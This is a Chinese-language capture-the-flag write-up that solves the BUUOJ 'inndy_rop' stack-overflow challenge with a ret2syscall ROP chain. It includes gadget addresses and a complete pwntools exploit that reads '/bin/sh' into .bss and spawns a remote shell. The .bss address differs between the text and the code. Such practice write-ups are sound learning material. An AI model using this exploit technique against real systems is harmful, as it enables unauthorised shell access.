ROP-ret2syscall 栈溢出
https://buuoj.cn/challenges#inndy_rop



开了栈堆执行保护,有很多函数应该是静态链接,然后main函数里面有一个overflow,纯粹的小栈溢出。
这道题的思路大概是这样的:通过不断地创造return,跳转,来执行很多语句。
我们的目的是执行一个execv(“/bin/sh”),首先先要塞入/bin/sh,通过read函数来塞入到.bss段,然后再通过execv(.bss_addr)的内容即可.

.bss段有好多空缺的部分啊,随便找个地址吧:bss_addr = 0x080EC010
然后让我们回忆一下这几个参数:首先int 0x80是syscall的作用,第一参数为eax,也就是调用int 0x80对应的函数。例如read是0x03,execv是0x0b
然后read和execv都有三个参数,在系统中,某个函数的第一参数是ebx,第二参数是ecx,第三参数是edx。如果加上int 0x80的用于选择调用系统函数的第一参数的话,上面就分别是第二参数到第四参数了。
我们需要找很多的指令地址,并且他们后面都要有ret才能去下一个地址位置:
通过ropper工具来查找:





分别是:
int080_addr = 0x0806f430
popeax_addr = 0x080b8016
popebx_addr = 0x080481c9
popecx_addr = 0x080de769
popedx_addr = 0x0806ecda
逻辑是:我需要构造一个read(0,bss地址,8)的读取,这段代码的意思是从标准读取(第一参数=0)中读取内容,取8(第三参数=8)个字节,存放到bss地址(第二参数)中。随后再构造一个execv(“/bin/sh”,0,0)函数,类似于system(“/bin/sh”)。具体如exp:
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
ip='node5.buuoj.cn' port=26102 file_addr = './rop' p = remote(ip,port)
elf = ELF(file_addr)
bss_____addr = 0x080e9000+0x100 int0x80_addr = 0x0806f430 popeax__addr = 0x080b8016 popebx__addr = 0x080481c9 popecx__addr = 0x080de769 popedx__addr = 0x0806ecda
payload = b'a'*(12+4) payload += p32(popeax__addr) + p32(0x03) payload += p32(popebx__addr) + p32(0x00) payload += p32(popecx__addr) + p32(bss_____addr) payload += p32(popedx__addr) + p32(0x08) payload += p32(int0x80_addr)
payload += p32(popeax__addr) + p32(0x0b) payload += p32(popebx__addr) + p32(bss_____addr) payload += p32(popecx__addr) + p32(0) payload += p32(popedx__addr) + p32(0) payload += p32(int0x80_addr) p.sendline(payload) p.sendline(b"/bin/sh\x00") p.interactive()
|